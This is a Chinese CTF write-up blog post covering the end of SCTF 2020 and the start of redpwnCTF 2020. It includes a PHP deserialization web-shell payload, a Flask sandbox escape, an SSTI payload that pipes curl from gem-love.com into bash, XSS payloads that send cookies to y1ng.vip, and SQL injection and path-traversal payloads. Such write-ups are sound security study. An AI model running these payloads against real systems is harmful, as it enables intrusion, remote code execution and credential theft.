zoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzozMDoidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGVkIjoxOntzOjEwOiIAKgBoYW5kbGVyIjtPOjIzOiJ0aGlua1xjYWNoZVxkcml2ZXJcRmlsZSI6Mjp7czoxMDoiACoAb3B0aW9ucyI7YTo0OntzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6NDoicGF0aCI7czoxMjU6InBocDovL2ZpbHRlci9jb252ZXJ0Lmljb252LnV0Zi04LnV0Zi03fGNvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1hYWFQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRqWTJNblhTazdQejRnLy4uL3kxbmcucGhwIjtzOjEzOiJkYXRhX2NvbXByZXNzIjtiOjA7fXM6NjoiACoAdGFnIjtzOjQ6InhpZ2UiO319fX1zOjExOiIAKgBiaW5kQXR0ciI7YToxOntzOjI6Inh4IjtzOjI6Inh4Ijt9fXM6ODoiACoAbW9kZWwiO3M6NDoidGVzdCI7fX19'''
a = requests.get(payload)
shell = 'http://39.99.41.124/public/y1ng.php27a85b1aed60ffa54fae503e4197ce6b.php'
print(shell, end='\n\n')
r=requests.post(shell,data={'ccc':'system("cat /flag");'})
print(r.text)


CloudDisk

http://120.79.1.217:7777/

【链接】Koa框架教程http://www.ruanyifeng.com/blog/2017/08/koa.html

https://drive.google.com/file/d/1lVTIESyhJg3sdHq8L1PkYOZ4hZi0Rkru/view

考点:nodejs代码审计

难度:easy

这题确实简单,还没来得及上线就被队友秒了。是个上传,给了源码

const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const Koa = require('koa');
const Router = require('koa-router');
const koaBody = require('koa-body');
const send = require('koa-send');

const app = new Koa();
const router = new Router();
const SECRET = "?"


app.use(koaBody({
  multipart: true,
  formidable: {
      maxFileSize: 2000 * 1024 * 1024 
  }
}));


router.post('/uploadfile', async (ctx, next) => {
    const file = ctx.request.body.files.file;
    const reader = fs.createReadStream(file.path);
    let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
    let filePath = path.join(__dirname, 'upload/') + fileId
    const upStream = fs.createWriteStream(filePath);
    reader.pipe(upStream)
    return ctx.body = "Upload success ~, your fileId is here:" + fileId;
  });


router.get('/downloadfile/:fileId', async (ctx, next) => {
  let fileId = ctx.params.fileId;
  ctx.attachment(fileId);
  try {
    await send(ctx, fileId, { root: __dirname + '/upload' });
  }catch(e){
    return ctx.body = "SCTF{no_such_file_~}"
  }
});


router.get('/', async (ctx, next) => {
  ctx.response.type = 'html';
  ctx.response.body = fs.createReadStream('index.html');
  
});

app.use(router.routes());
app.listen(3333, () => {
  console.log('This server is running at port: 3333')
})

关键代码:

const file = ctx.request.body.files.file;

vulnerability detail here: https://github.com/dlau/koa-body/issues/75

flag不太好找,在/app/flag


pysandbox && pysandbox v2

i love py!!(Each docker will reboot every 3 mins,so please launch the remote attack after successful exploitation in your own local environment)
China:
http://39.104.25.107:10000
Overseas:
http://8.208.91.150:10000
Attachment:
https://sctf2020.oss-cn-huhehaote.aliyuncs.com/pysandbox.zip
or
https://drive.google.com/file/d/17y3BfFD0Keij4SshdpQE7wYFfsb_1trn/view?usp=sharing

考点:python无括号RCE

难度:hard

俩题都被队友的无敌思路给秒了,两个都是二血,来自北京大学的xcmp,永远滴神~~我就在旁边打了打工

俩题代码是一样的,因为第一个题被非预期文件读取了,主办方出了v2要求必须rce

from flask import Flask, request
app = Flask(__name__)

@app.route('/', methods=["POST"])
def security():
    secret = request.form["cmd"]
    for i in secret:
        if not 42 <= ord(i) <= 122: return "error!"

    exec(secret)
    return "xXXxXXx"

if __name__ == '__main__':
    app.run(host="0.0.0.0")

过滤了一些符号,其他都好说,主要是过滤了括号。python不像php那样可以(“phpinfo”)()字符串动态调用函数,也不像Ruby那样可以省略括号,python首先必须得到函数,然后加了括号是invoke不加括号是指函数本身

第一题

google了半个小时,不加括号基本上没什么办法调用函数。后来队友突然发现可以通过exec()来操纵flask,然后直接把静态目录设置为根目录,就可以任意文件读取了

但是因为引号也没有,'/'也需要构造一下,只需要找一个包含/的字符串然后截出来就行了。因为变量都有__doc__属性,现在现成的变量有secretapp两个,用app的话可以app.__doc__[1510]

secret用不了因为__doc__里没有想要的字符:

str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'.

队友开始用的static_folder,发现设置为'/'并不能访问/etc/passwd。然后我去试了下_static_folder发现可以了

后来队友发现如果用static_folder那么应该设置为/../,对应payload为app.static_folder=Flask.__doc__[1510]+Flask.__doc__[877]+Flask.__doc__[878]+Flask.__doc__[1510]

第二题

因为第一题非预期,主办方临时加了v2,v2就必须要RCE然后根据根目录下readflag来拿flag

构造任意字符串:

from flask import *

app = Flask(__name__)
doc = app.__doc__

mylist = []
code = "os.system('whoami')"
for char in code:
	num = 0
	for i in doc:
		if i == char:
			mylist.append("Flask.__doc__[{}]".format(num))
			break
		num+=1

print('+'.join(mylist))

一筹莫展之际,xmcp巨佬给出了payload:

app.make_response=eval
app.after_request_funcs[None]=[exec]
__builtins__.xXXxXXx='__import__("os").system("bash")'

然后因为构造字符串是根据__doc__来构造的,可能有的字符没有,比如Y就没有,然后payload就很不方便。

然后我发现,比如有个叫y1ng的HTTP头,可以request.headers.environ['HTTP_Y1NG'] 获取到这个值,所以payload就呼之欲出了:

cmd=app.make_response=eval;app.after_request_funcs[None]=[exec];__builtins__.xXXxXXx=request.headers.environ[Flask.__doc__[1796]%2bFlask.__doc__[0]%2bFlask.__doc__[0]%2bFlask.__doc__[909]%2bFlask.__doc__[525]%2bFlask.__doc__[2892]%2bFlask.__doc__[32]]

添加一个叫ng(本来构造y1ng结果y构造不出来)的http头字段,把想执行的python代码放里面即可,因为无回显,需要反弹shell


JSONHUB

I know my code is bad, but there should not be a lot of vulnerabilities
China:
http://39.104.19.182
Overseas:
http://8.208.80.172
Attachment:
china:
https://sctf2020.oss-cn-huhehaote.aliyuncs.com/jsonhub-cn.zip
overseas:
https://drive.google.com/file/d/1KNMco3xVK4JpUpSzk9YqNifekVKu1yJA/view?usp=sharing
PS: This challenge differs from China to oversea, so make sure you have the right attachment according to your ip before you start the challenge.

考点:Django登录伪造、SSRF、JSON、SSTI

难度:hard

给了docker源码,题目对外映射了8000端口,另外还有个5000的flask,需要通过8000去ssrf

有个rpc可以SSRF:

def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

    methods = request.GET.get("methods")
    url = request.GET.get("url")

    if methods == "GET":
        return JsonResponse(
            {"code": 0, "message": requests.get(url, headers={"User-Agent": "Django proxy =v="}, timeout=1).text})
    elif methods == "POST":
        data = base64.b64decode(request.GET.get("data"))
        return JsonResponse({"code": 0, "message": requests.post(url, data=data,
                                                                 headers={"User-Agent": "Django proxy =v=",
                                                                          "Content-Type": "application/json"}, timeout=1).text})
    else:
        return JsonResponse({"code": -1, "message": "=3="})

home里能提交url,但是需要一个token

这个Token是在数据库里的,分析代码发现如果是admin用户在/admin可以得到这个Token。所以本题目逻辑是得到Token→访问rpc→rpc ssrf→SSTI反弹shell

Part 1

查资料之时这个Token被队友搞定了,payload:

{"username":"ppcmx","password":"pppcmx", "is_superuser": true, "is_staff": true, "is_active": true}

这是因为:

from django.contrib.auth.models import User

在Django的这个模块中,有三个标准用户模块的标志

is_staff = models.BooleanField(_('staff status'), default=False, help_text=_('Designates whether the user can log into this admin site.'))
is_active = models.BooleanField(_('active'), default=True, help_text=_('Designates whether this user should be treated as active. Unselect this instead of deleting accounts.'))
is_superuser = models.BooleanField(_('superuser status'), default=False, help_text=_('Designates that this user has all permissions without explicitly assigning them.'))

所以把他们都置为True即可

Part 2

这个rpc要求必须是本地访问才可以,所以就是带着Token去Network Test

def flask_rpc(request):
    if request.META['REMOTE_ADDR'] != "127.0.0.1":
        return JsonResponse({"code": -1, "message": "Must 127.0.0.1"})

但是提交的url只能是公网ip开头的

import re
def ssrf_check(url ,white_list):
    for i in range(len(white_list)):
        if url.startswith("http://" + white_list[i] + "/"):
            return False
    return True

学过网络的同学应该都知道,39.104.19.182访问http://39.104.19.182/,REMOTE_ADDR获取到的ip绝对不是127.0.0.1,因为首先是需要路由出网然后再回来,REMOTE_ADDR获取到的是公网IP39.104.19.182而不是127.0.0.1,安恒或着buuoj因为架构特殊,会获取到一个docker转发器的地址,不论如何,都不可能是127.0.0.1。如果不是127.0.0.1那么rpc就不能生效,也就没法做题了。

好在requests.get()会Follow 302 Redirect,所以只需要提交一个http://39.104.19.182/开头但是会跳转到http://127.0.0.1:8000/rpc的url就可以了:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=payload

这是Django的漏洞,CVE-2018-14574,注意到题目使用了Django2.0.7,对于访问http://host1//host2,如果host1是Django,就会访问到host2去。参考:

https://xz.aliyun.com/t/3302

Part 3

web2这里明显存在SSTI:

def caculator():
    try:
        data = request.get_json()
    except ValueError:
        return json.dumps({"code": -1, "message": "Request data can't be unmarshal"})
    num1 = str(data["num1"])
    num2 = str(data["num2"])
    symbols = data["symbols"]
    if re.search("[a-z]", num1, re.I) or re.search("[a-z]", num2, re.I) or not re.search("[+\-*/]", symbols):
        return json.dumps({"code": -1, "message": "?"})

    return render_template_string(str(num1) + symbols + str(num2) + "=" + "?")

这SSTI直接用python3.6.5的payload来RCE就好,先本地起个环境试一下发现没啥问题

但是,黑名单过滤了{{ 所以不能用:

@app.before_request
def before_request():
    data = str(request.data)
    log()
    if "{{" in data or "}}" in data or "{%" in data or "%}" in data:
        abort(401)

队友xmcp是python神仙,基本上直接秒出解决方案,可能这就是北京大学的本科生吧

注意到题目是用了data = request.get_json(),而get_json()是可以解析Unicode的,所以{\u007b来代替{{即可成功绕过。最终payload:

http://39.104.19.182//127.0.0.1:8000/rpc?methods=POST&url=http://127.0.0.1:5000/caculator&data=eyJudW0xIjoiIiwibnVtMiI6IiIsInN5bWJvbHMiOiJ7XHUwMDdiJzEnLl9fY2xhc3NfXy5tcm8oKVstMV0uX19zdWJjbGFzc2VzX18oKVs2NF0uX19pbml0X18uX19nbG9iYWxzX19bJ19fYnVpbHRpbnNfXyddWydldmFsJ10oXCJfX2ltcG9ydF9fKCdvcycpLnN5c3RlbSgnY3VybCBodHRwOi8vZ2VtLWxvdmUuY29tL3NoZWxsLnR4dHxiYXNoJylcIil9XHUwMDdkIn0=

反弹shell得到flag

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2429.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

]]>
https://www.gem-love.com/ctf/2429.html/feed 0
🇺🇸redpwnCTF 2020 Writeup https://www.gem-love.com/ctf/2391.html https://www.gem-love.com/ctf/2391.html#respond Fri, 26 Jun 2020 18:23:25 +0000 https://www.gem-love.com/?p=2391 Author:颖奇L’Amore

Blog:www.gem-love.com

题目是比较不错的,只是和第五空间时间+安恒月赛重合了,做了几个题玩玩儿~~


web/inspector-general

My friend made a new webpage, can you find a flag?

签到题,直接html源代码找到flag:flag{1nspector_g3n3ral_at_w0rk}


web/login

I made a cool login page. I bet you can’t get in!

Site: login.2020.redpwnc.tf

global.__rootdir = __dirname;

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const db = require('better-sqlite3')('db.sqlite3');

require('dotenv').config();

const app = express();

app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());

app.post('/api/flag', (req, res) => {
    const username = req.body.username;
    const password = req.body.password;
    if (typeof username !== 'string') {
        res.status(400);
        res.end();
        return;
    }
    if (typeof password !== 'string') {
        res.status(400);
        res.end();
        return;
    }

    let result;
    try {
        result = db.prepare(`SELECT * FROM users 
            WHERE username = '${username}'
            AND password = '${password}';`).get();
    } catch (error) {
        res.json({ success: false, error: "There was a problem." });
        res.end();
        return;
    }
    
    if (result) {
        res.json({ success: true, flag: process.env.FLAG });
        res.end();
        return;
    }

    res.json({ success: false, error: "Incorrect username or password." });
});

app.use(express.static(path.join(__dirname, '/public')));

app.listen(process.env.PORT || 3000);

// init database
db.prepare(`CREATE TABLE IF NOT EXISTS users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT,
    password TEXT);`).run();

db.prepare(`INSERT INTO 
    users (username, password)
    VALUES ('${process.env.USERNAME}', '${process.env.PASSWORD}');`).run();

sql无任何过滤,账号密码都填:y1ng’ or ‘1’=’1即可得到flag:flag{0bl1g4t0ry_5ql1}


web/static-pastebin

I wanted to make a website to store bits of text, but I don’t have any experience with web development. However, I realized that I don’t need any! If you experience any issues, make a paste and send it here

Site: static-pastebin.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

是个文本框,然后能输入东西后显示出来,是个xss,在显示的页面有过滤

(async () => {
    await new Promise((resolve) => {
        window.addEventListener('load', resolve);
    });

    const content = window.location.hash.substring(1);
    display(atob(content));
})();

function display(input) {
    document.getElementById('paste').innerHTML = clean(input);
}

function clean(input) {
    let brackets = 0;
    let result = '';
    for (let i = 0; i < input.length; i++) {
        const current = input.charAt(i);
        if (current == '<') {
            brackets ++;
        }
        if (brackets == 0) {
            result += current;
        }
        if (current == '>') {
            brackets --;
        }
    }
    return result
}

可见必须保证brackets为0才行,所以只需要构造个成对出现的<>就可以了

<img src=y1ng onerror=window.open('http://y1ng.vip:12358/q='+btoa(document.cookie));>

然后提交给bot

打到bot的cookie:flag=flag{54n1t1z4t10n_k1nd4_h4rd}


web/static-static-hosting

Seeing that my last website was a success, I made a version where instead of storing text, you can make your own custom websites! If you make something cool, send it to me here

Site: static-static-hosting.2020.redpwnc.tf

Note: The site is entirely static. Dirbuster will not be useful in solving it.

这题是上一个xss的升级版,刚刚是让输入文本然后这题改成了输入HTML,看js文件也能得知过滤规则:

function sanitize(element) {
    const attributes = element.getAttributeNames();
    for (let i = 0; i < attributes.length; i++) {
        // Let people add images and styles
        if (!['src', 'width', 'height', 'alt', 'class'].includes(attributes[i])) {
            element.removeAttribute(attributes[i]);
        }
    }

    const children = element.children;
    for (let i = 0; i < children.length; i++) {
        if (children[i].nodeName === 'SCRIPT') {
            element.removeChild(children[i]);
            i --;
        } else {
            sanitize(children[i]);
        }
    }
}

不过因为我是先做的这个题,上一个题已经队友solve了,我直接忽略了那个output页面还有个js文件,并不知道过滤规则,也无所谓,多fuzz一会儿就行了

编码绕一下javascript关键字 然后用iframe就行了

payload:

<iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:window.open('http://y1ng.vip:12358/q='+btoa(document.cookie)>);">

然后和上一题一样,把url提交给bot,打回flag:flag{wh0_n33d5_d0mpur1fy}


web/panda-facts

I just found a hate group targeting my favorite animal. Can you try and find their secrets? We gotta take them down!

Site: panda-facts.2020.redpwnc.tf

global.__rootdir = __dirname;

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const path = require('path');
const crypto = require('crypto');

require('dotenv').config();

const INTEGRITY = '12370cc0f387730fb3f273e4d46a94e5';

const app = express();

app.use(bodyParser.json({ extended: false }));
app.use(cookieParser());

app.post('/api/login', async (req, res) => {
    if (!req.body.username || typeof req.body.username !== 'string') {
        res.status(400);
        res.end();
        return;
    }
    res.json({'token': await generateToken(req.body.username)});
    res.end;
});

app.get('/api/validate', async (req, res) => {
    if (!req.cookies.token || typeof req.cookies.token !== 'string') {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    const result = await decodeToken(req.cookies.token);
    if (!result) {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    res.json({success: true, token: result});
});

app.get('/api/flag', async (req, res) => {
    if (!req.cookies.token || typeof req.cookies.token !== 'string') {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    const result = await decodeToken(req.cookies.token);
    if (!result) {
        res.json({success: false, error: 'Invalid token'});
        res.end();
        return;
    }

    if (!result.member) {
        res.json({success: false, error: 'You are not a member'});
        res.end();
        return;
    }

    res.json({success: true, flag: process.env.FLAG});
});

app.use(express.static(path.join(__dirname, '/public')));

app.listen(process.env.PORT || 3000);

async function generateToken(username) {
    const algorithm = 'aes-192-cbc'; 
    const key = Buffer.from(process.env.KEY, 'hex'); 
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);

    const cipher = crypto.createCipheriv(algorithm, key, iv);

    const token = `{"integrity":"${INTEGRITY}","member":0,"username":"${username}"}`

    let encrypted = '';
    encrypted += cipher.update(token, 'utf8', 'base64');
    encrypted += cipher.final('base64');
    return encrypted;
}

async function decodeToken(encrypted) {
    const algorithm = 'aes-192-cbc'; 
    const key = Buffer.from(process.env.KEY, 'hex'); 
    // Predictable IV doesn't matter here
    const iv = Buffer.alloc(16, 0);
    const decipher = crypto.createDecipheriv(algorithm, key, iv);

    let decrypted = '';

    try {
        decrypted += decipher.update(encrypted, 'base64', 'utf8');
        decrypted += decipher.final('utf8');
    } catch (error) {
        return false;
    }

    let res;
    try {
        res = JSON.parse(decrypted);
    } catch (error) {
        console.log(error);
        return false;
    }

    if (res.integrity !== INTEGRITY) {
        return false;
    }

    return res;
}

因为const key = Buffer.from(process.env.KEY, 'hex');所以没法伪造,或许有办法但是我对密码不熟悉。但是这个让我想起了之前做过的一个题:

🇮🇱HexionCTF 2020 Writeup

HexionCTF JACC这个题目中,通过伪造相同xml格式,造成了xml元素注入(不是xxe),这对于json同样适用。这种方法的题目比较少见,所以目前我也不确定这个题是否为非预期解法,但是这种方法确实很多时候可以造成非常严重的非预期。

去看下JACC之后就知道这个题怎么做了,payload:

","member":1,"username":"y1ng

得到flag:flag{1_c4nt_f1nd_4_g00d_p4nd4_pun}


web/tux-fanpage

My friend made a fanpage for Tux; can you steal the source code for me?

Site: tux-fanpage.2020.redpwnc.tf

又是一个给源码的nodejs:

const express = require('express')
const path = require('path')
const app = express()

//Don't forget to redact from published source
const flag = '[REDACTED]'

app.get('/', (req, res) => {
    res.redirect('/page?path=index.html')
})

app.get('/page', (req, res) => {

    let path = req.query.path

    //Handle queryless request
    if(!path || !strip(path)){
        res.redirect('/page?path=index.html')
        return
    }

    path = strip(path)

    path = preventTraversal(path)

    res.sendFile(prepare(path), (err) => {
        if(err){
            if (! res.headersSent) {
                try {
                    res.send(strip(req.query.path) + ' not found')
                } catch {
                    res.end()
                }
            }
        }
    })
})

//Prevent directory traversal attack
function preventTraversal(dir){
    if(dir.includes('../')){
        let res = dir.replace('../', '')
        return preventTraversal(res)
    }

    //In case people want to test locally on windows
    if(dir.includes('..\\')){
        let res = dir.replace('..\\', '')
        return preventTraversal(res)
    }
    return dir
}

//Get absolute path from relative path
function prepare(dir){
    return path.resolve('./public/' + dir)
}

//Strip leading characters
function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
    if(!regex.test(dir[0])){
        if(dir.length > 0){
            return strip(dir.slice(1))
        }
        return ''
    }

    return dir
}

app.listen(3000, () => {
    console.log('listening on 0.0.0.0:3000')
})

Nodejs的sendfile(),要求文件名必须以字母or数字开头,并且不能出现../ ..\,如果满足这个条件就sendfile(),题目很直白,就是让我们bypass然后目录穿越读文件

数组绕过,他这个要绕两层,首先是strip()

function strip(dir){
    const regex = /^[a-z0-9]$/im

    //Remove first character if not alphanumeric
    if(!regex.test(dir[0])){
        if(dir.length > 0){
            return strip(dir.slice(1))
        }
        return ''
    }

    return dir
}

只要第一个元素是一个字母,就能绕过去了

这是因为dir[0]是数组第一个元素,是字符串’a’,正则匹配返回true,其他则返回false

第二层要绕过一个递归函数preventTraversal(dir),里面有个includes()方法:

if(dir.includes('../')){
        let res = dir.replace('../', '')
        return preventTraversal(res)
    }

includes()是string和数组都有的方法,字符串的时候可以理解为搜索或者匹配,但是数组的includes()是查找有没有这个元素,比如数组['aaaab'].includes('aaaa')是false的,因为并没有aaaa这个元素,但是如果是'aaaab'.includes('aaaa')就返回true了

反正总而言之,preventTraversal()原封不动返回了给它的数组:

之后就是path.resolve()了 先看下官方文档https://nodejs.org/api/path.html#path_path_resolve_paths

然后因为它有一个字符串拼接操作,path.resolve('./public/' + dir) 加之js“万物杂交皆是字符串”,字符串+数组也返回一个字符串

把这个结果交给path.resolve()就顺理成章的目录穿越了

至于path是一个query参数,怎么得到一个数组,也是老生常谈,只要path[]=x&path[]=y就能得到['x','y'],想要几个参数就加几次path[]=就行了,最终:

https://tux-fanpage.2020.redpwnc.tf/page?path[]=a&path[]=/../../index.js

const flag = 'flag{tr4v3rsal_Tim3}'

另外,之前做过一个类似的nodejs,也是题目处理字符串,然后利用数组绕过以及字符串+数组=字符串的这种feature

一道Node.js类型混淆污染与字符逃逸实现SQL注入的题目分析


web/post-it-notes

Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.

Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.

是个SSRF+走私,题目给了web server和api server的源码,api在内网无法访问,我们只能访问webserver。

在api上很容易发现命令注入:

def get_note(nid):
    stdout, stderr = subprocess.Popen(f"cat 'notes/{nid}' || echo it did not work btw", shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE, stdin = subprocess.PIPE).communicate()
    if stderr:
        print(stderr) # lemonthink
        return {}
    return {
        'success' : True,
        'title' : nid,
        'contents' : stdout.decode('utf-8', errors = 'ignore')
    }

webserver的代码比较复杂:

#!/usr/bin/env python3
# Author: redpwn CTF team
# Notes: ngl this challenge is kinda trolly, but don't mind all the comments. 
#   The basis for the chal is kinda interesting, but the vulnerability is 
#   diluted by madness.

import requests
import socket
import re, re, re, re, re as REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
import json as jason
import traceback
from flask import redirect

# BEGIN brian shrine
# why is CF12 so op...
BRIAN = 1337; BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN = BRIAN and BRIAN > False
# brian orz
# END brian shrine

# XXX: how many quotes are required here? we should save bytes and use fewer if possible
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
NOTE TO FUTURE DEVELOPERS:

sorry i suck at writing python so much...

and sorry this is written in python...
if nobody can read my code, i cant be fired!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
and users dont know the difference since the app works normally... haha

dont worry node is the future haha im just
making sure i have job security
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

# XXX: why doesn't this message present to users????? what if they sue us for not telling them............
# :thonk:
print('i use arch btw')

# <3 gink gink

API_HOST=  'http://localhost:{port}'

# :lemonthink:
class Note:
    # XXX: no static typing? :(
    def get(nid, port = None):
        _host = API_HOST.format(port = port)
        json = jason
        note = json.loads(str(requests.post(_host + '/api/v1/notes/', data = {
            'title' : nid
        }, headers = {
            'Authorization' : ' '.join(['his name', 'is', 'john connor']), # obfuscate because our penetration test report said that hardocded secrets BAD
            'Connection' : 'close'
        }).text) or '{}') # url encoding is for noobs

        if note.get('success'):
            note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

        ####print('got note', nid, ' : ', note)
        return note

    def create(title, contents, port = None):
        _host = API_HOST.format(port = port)
        x = {
            'title' : ''.join([(x if x in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ,./<>?;:[]{}!@#$%^&*()~' else '_') for x in list(str(title))]).ljust(10, 'A'), # no ` or ' or " allowed!
            'contents' : contents,
        }
        uRl = _host + '/api/v1/notes'
        result = requests.post(uRl, data = x, headers = {
            'Authorization' : 'his name is john connor',
            'Connection' : 'close'
        }).text

        # <3 dan dan

        json = jason # <3 jason liu
        try:
            a = json.loads(str(result) or '{}')
            if not a.get('success'):
                return {'success':False, 'message':'api server error, plz report this if it is legit not ur fault thx'}
            else:
                return redirect(f'/notes/{a["title"]}')
        except Exception as e:
            print(e)
            return {'success':False, 'message':'something went wrong :('}


    # XXX: shouldnt this be outside of the Note class
    def check_link(link):
        # XXX: we only support http links at the moment :(
        # XXX: what if someone wants to use domain spoofing characters? we don't support that...
        r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
        if not r:
            print('no bad link!!!', link)
            return False
        host, port, path = r.groups()
        
        ip = None
        try:
            # :thonkeng:
            ip = socket.gethostbyname(host)
        except:
            ip = host
            pass # eh we just want ip it doesnt really matter ig since it will be validated in next step

        # validate host
        try:
            # XXX: ipv6 and ipv8 support
            ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
        except Exception as PYTHON_SUCKS:
            print(PYTHON_SUCKS)
            print(host)
            print('bad ip address')
            return False

        # XXX: I CANT FIGURE OUT HOW TO MAKE HTTP HEAD REQUESTS FROM THE requests LIBRARY SO I AM DOING THIS BY MYSELF! DONT MOCK ME FOR """"""""""rEinVENtinG thE WheEL"""""""""".
        # :blobpat:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            port = int(str(port or 80).lstrip(':'))
            s.connect((ip, port))
            # XXX: this works and i dont know why
            # NOTE: there was a bug before where newlines in `path` could make all requests fail. Fixed based on jira ticket RCTF-1231
            wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') # python3 socket library go brrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
            print(wef)
            s.send(wef)
            # XXX: i dont like the above code, it is bad
            # XXX: three months later: what does the above comment mean, i forgot
            print('waiting')
            # give it time to think
            import time as angstromCTF
            angstromCTF.kevin_higgs=angstromCTF.sleep
            angstromCTF.kevin_higgs(1337/300/4)
            # XXX: i read in *CODE COMPLETE* that magic numbers are bad TODO explain what this means?
            try:
                # XXX: idk how sockets work...
                s.settimeout(4)
            except:
                pass
            rEspONSe = s.recv(4096)
            if b'200 OK' in rEspONSe:
                s.close()
                return True
            s.close()
            return False
        except Exception as e:
            traceback.print_exc()
            print(e)
            # eh whatever :pepega:
            # NOTE: Thanks to the invaluable security research contributions
            #   from the organizer, ginkoid a critical vulnerability that used
            #   to exist here is now patched. :pepega: used to be spelled
            #   :pepaga: ... :sob:
            return False
        return bool(False)

check_link()里很明显这里可以造成走私:

wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n') 

这个get()内的正则也暗示必须Smuggling:

 note['links'] = [x[0] for x in REEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.findall(r'(https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*))', note['contents'])]

但是走私之前就遇到了一个大问题,并不知道api服务器的端口号:

